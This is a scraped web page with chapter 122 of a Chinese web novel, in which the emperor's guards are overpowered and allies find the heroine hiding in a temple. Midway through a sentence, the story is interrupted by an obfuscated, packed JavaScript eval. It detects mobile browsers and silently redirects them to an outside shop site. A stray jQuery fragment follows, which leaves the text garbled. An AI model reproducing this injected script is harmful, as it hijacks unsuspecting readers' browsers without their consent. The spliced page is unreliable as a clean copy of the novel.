122. 第122章 虎落平阳
作品:《金玉奴》 纵然勇猛无敌,可到底是双拳难敌四手。
对面人数众多又来势汹汹,张小义二人不敌,很快便败下阵来。
“落河,快带圣上走。”张小义胸口被刺了一剑,膝盖也早已在近身搏斗当中被砍得鲜血直流。此时连站起来的力气都没有了,就更别提是护驾这种高难度的事情。
剑尖被他插入松软的泥土当中,张小义的汗珠不断从额头滚落,一滴接着一滴地直往地上砸去。
等了许久,都不听落河的回应,张小义不禁急得破了音:“快走啊!”
“我,我还指望你呢!”李落河气息不稳,听上去好像还要更严重一些。
张小义忍着浑身的疼痛,微微往身后扭头看了一眼。只这么一眼,他浑身的血液便都凝固了。
只见李落河面朝下栽到地上,后背的疤痕触目惊心,几乎蔓延在了他半个身子上。
李落河负责近身护驾,他都伤这么严重了,那圣上……
张小义不敢置信地将头一寸寸偏移到旁边去,便见圣上白着张脸,一身华丽的锦衣染上了好几处血点,俨然被吓傻了的模样。
也不知那些血,是李落河的,还是圣上自己的。
“尔等胆大包天,就不怕诛你们九族吗?”张小义脖子上的青筋都被气出来了,一鼓一鼓地跳动着,配合着他这一声歇斯底里的吼叫,怎么看怎么像是一只穷途末路的猎物。
别看招式煞有其事的,但这三人也不过是中看不中用的把式。齐邵飞心气通了不少:“把人带回去。”
——
“怎么样?找到了没?”即便现在漫山遍野都是他们的人,可依然没有什么成效。沈从白急得不知打从什么时候嘴里起了一串燎泡,一说话就疼得厉害。
左清清两手扶在膝盖上,微喘着粗气:“还没有。不过,前面的兄弟们有遇到落星谷里来的一伙人,好像在抓什么逃脱的金玉奴,会不会和主上他们有关系?”
“一定是。”想来哪里有这样巧合的事情,再结合主上临行前说的那些话,她定然是动了恻隐之心,捎带着救了个金玉奴出来,“我们去问问。”
跟着齐邵飞的那群人还在到处搜人,只不过早在昨夜他们便已经兵分两路,只约定好了两个时辰一会合,方便互相传递消息。
是以,他们还并不知齐邵飞那里已经抓到了三个可以凑数的倒霉蛋,依然在任劳任怨地找人。
直到,迎面走过好几个气势非比寻常的家伙:“你,你们要干嘛?”
问着他们要干嘛,却第一时间拔出刀剑,严阵以待。
“是这样的。”沈从白尽力按压下自己的不耐,神色如常,“你们有没有见过一对男女?男的,样貌还算突出。女的大概到我肩膀这里,长得虽然温柔可人,但话很少,不过待人并不冷淡。总之,一看就是那种很特别的姑娘?”
“没见过,正常人谁会到这里来啊,你们找错地方了。”或许是看沈从白他们没有恶意,对面的语气明显软和了下来,毕竟他们也是有求于人的,“有见过两个痨病鬼吗?他们是我们谷里逃出去的金玉奴,上面下了死命令,一定要抓住不可。如若你们配合,回头定有重赏。”
沈从白弯唇笑笑,随意与人夸下海口:“未曾见过。不过如果有消息,一定告诉你们。”
既然是糊弄人,那当然得把人哄得开开心心的才是。至于断了金玉奴生路的事情,他既做不出来,也断然不会去与主上的坚持相背。
“沈大哥。”刚与那群人打过照面,跟着圣上的一队侍卫便急匆匆地赶了过来,“圣上命我等前来相助。有找到贺阁主吗?”
“没有。倒是你们都过来了,圣上身边没人能行吗?”沈从白和左清清对了个眼神,眼皮无端猛跳了一下,心里很是不安。
“圣上身边留了两个兄弟,应该无碍。我们还是快点找人吧。”来人似乎很是相信自己兄弟的实力,只一心散开去替他们寻人。
见此,沈从白也不好再说什么。只要早些找到主上和祝允,那就不会再生事端。否则拖久了,对谁都是不利。
“我们这边人手充裕。倒是圣上那里,只留两个人,出了事谁都承担不起。”一向最是小孩心性的左清清,如今愈发沉稳,对方态度坚决,他也不遑多让,“你们还是回去吧。”
——
又是一夜过去,金色的晨光透过门窗的缝隙均匀地洒在破庙当中的每一个角落里。
被祝允紧紧抱在怀里的贺长情眉头动了一动,终于迷迷瞪瞪地醒来。昨日一夜,他们谁也没能睡得安稳。
来福的病情恶化了。如果小白还不带人来,他们或许就真的只能坐以待毙了。
“对不住啊,来宝。如果我没有崴脚,或许我们……还能试一试,而不是像现在这样困死在庙里。”
来宝眼下有着深深的青色,他挂念着自己看起来时日无多的哥哥,更抵挡不住体内毒素的蚕食。尽管恩公他们给的神药的确有非凡的效果,始终能吊着一口气,可是那毒根本压不住,光是昨夜,便痛得他好几次昏死过去。
此刻来宝白着嘴唇,整个人跟从水里捞出来似的:“恩公您别多想。这也许就是我们的命,和谁都没关系。”
贺长情还想再说些宽慰人的话,可耳中却分明传来了阵阵急促的脚步声。听这动静,可不是几个人就可以发出来的,少说也有几十个。
“阿允。”贺长情尝试着起了下身,可受伤的脚腕实在拖累,她一下子失去了重心,重又跌在了祝允的怀里,“来人了,怎么办?”
“有我在,会没事的。”祝允从未见过这样慌乱无措的贺长情。她甚至会问自己该怎么办。
如果不是主人现在受了伤,他可能一辈子都不见到她这样脆弱的一面。这让祝允生出一种莫名的错觉,一种此时此刻主人只能依靠他的错觉。
他用尽全力将人捞在了怀里,出乎意料地镇定:“先去神像后面躲躲。”
待祝允妥善安置好贺长情,转身又准备去安排来福来宝二人的时候,却已经是晚了一步。
木门被人推开,吱呀一声响在这样的氛围里,尤其刺耳。
来福来宝躲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616988|131836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闪不及,和进到庙中的几人直接来了个大眼瞪小眼,许是想到被抓回去后会面对生不如死的惩罚,不由地瑟缩成了一团。
沈从白只用了一眼,便大致看出了现下的情形。
这两个人一身的病气,又瘦成了骨头架子,想来就是落星谷里跑掉的两个金玉奴。就凭这样的身子骨,如若没人相助,是绝无可能苟延残喘至今的。
因而,不用多问,主上他们就在这里。
沈从白淡淡地掠过二人,尽量减少投注在他们身上的视线,免得把人再吓出个好歹来。他径直往神像之后走去:“主上,我们来晚了。”
神像之后,手心里全是汗的祝允听出了这道熟悉的嗓音,悬着的心落了地。他利落地将手中的长剑收鞘,回身扶起了贺长情:“是沈大人。”
“小白,清清?”贺长情有惊也有喜。按照他们之前的计划,既然沈从白他们出现在这里,那定然是说动了圣上。
想到这里,贺长情一度忘了自己早已崴伤的脚腕,探着头就往人群之后张望过去:“圣上呢?”
“圣上没来,在上面等着,不过他把金牌和近身侍卫都给我们了。”左清清说着,还拍了拍一旁沈从白的肩膀,示意人赶紧把金牌拿出来给大家伙掌掌眼。
毕竟那可是如圣驾亲临的信物,多少人一辈子都无缘得见。错过这样的机会,可就没有下一次了。
但贺长情显然心思不在这上面:“圣上一个人留在上面,那岂不是会很危险?”
本来这里就不该是梁淮易该来的地方,她也是没有办法才留下了这么一招退路。如若被朝中那些老顽固知道了,还不知道会给他的皇位带来多少麻烦。
落星谷偏又派出大量人马搜山,如若在这刀剑无眼的情形之下伤了圣上,那可真就会造成无法挽回的罪过了。
“这样吧小白,你先找几个人护送来福来宝两兄弟。他们的情况不是很好,已经拖不得了。另外再派一队人马去……”
“不好了,不好了!”本就大开的木门又被人重重撞了上来,这一声巨响堪比晴日滚雷,把来福来宝二人吓得变成了暴雨之后的燕雀,躲在角落里瑟瑟发抖。
“什么不好了?”不知怎的,沈从白心口好像被一只大手猛地攥了一把,呼吸不畅。
高个侍卫急到了语无伦次:“圣上,圣上不见了!”
“什么叫,不见了?”左清清愣愣地发问,“该不会是我想的那个意思吧?”
“齐大人,我知道这金玉奴不见了你心急。可再着急,你也不能拿三个根本不认识的人凑数吧?”张老头儿一改在齐邵飞面前唯唯诺诺的样子,满脸的不赞同,“况且,我看他们穿着不凡,尤其是中间那个,别不是什么大人物吧?”
“什么大人物,不过就是三个打肿脸充胖子的骗子而已。”便是错了,如今也要把死的说成活的才行,只要能向相府交代,他这条命才可以保住,“你放心,派出去的人还没有全叫回来。要是抓回来之前跑掉的三个,我就再把他们原封不动地送回去。可如果抓不到,那他们也只能认栽。”

